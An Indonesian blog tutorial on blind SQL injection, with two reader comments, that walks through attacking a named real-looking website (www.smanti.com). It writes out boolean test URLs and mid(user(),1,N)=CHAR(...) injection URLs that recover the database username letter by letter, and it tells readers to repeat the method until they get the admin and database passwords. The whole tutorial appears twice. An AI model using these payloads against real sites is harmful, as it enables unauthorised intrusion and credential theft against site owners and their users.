Ane akan mencoba menjelaskan semudah mungkin tentang Blind SQL Injection yang ane anggap rumit banget... Bukannya sok ngajarin atau apalah, disini ane hanya berusaha memberikan apa yang ane punya dan bisa...
Apa sich Blind SQL Injection tu?
Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command :
mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita tidak memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
1.PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
eh ternyata ada bug nya...
lanjut....
2.BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value na..jadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
dst sampe kita menemukan keadaan true(beritanya muncul kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya true..
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htm
stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN
nah udah hampir ktebak user name nya..kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
Sumber : Hacker Newbie
Apa sich Blind SQL Injection tu?
Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command :
mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita tidak memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
1.PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
eh ternyata ada bug nya...
lanjut....
2.BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value na..jadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
dst sampe kita menemukan keadaan true(beritanya muncul kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya true..
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htm
stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN
nah udah hampir ktebak user name nya..kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
Sumber : Hacker Newbie
2 Comments
maaf om pake id anon. perbedaan antara true dan false seperti apa ya om? adakah ss nya thanks :)
ReplyDeletemin ,mau tanya ,biasanya untuk mencar blind sql injection saya menggunakan software acunetix ,tapi kerjanya sangat lambat ,adakah cara untuk mempercepat pencarian blind sql injection di acunetix?
ReplyDelete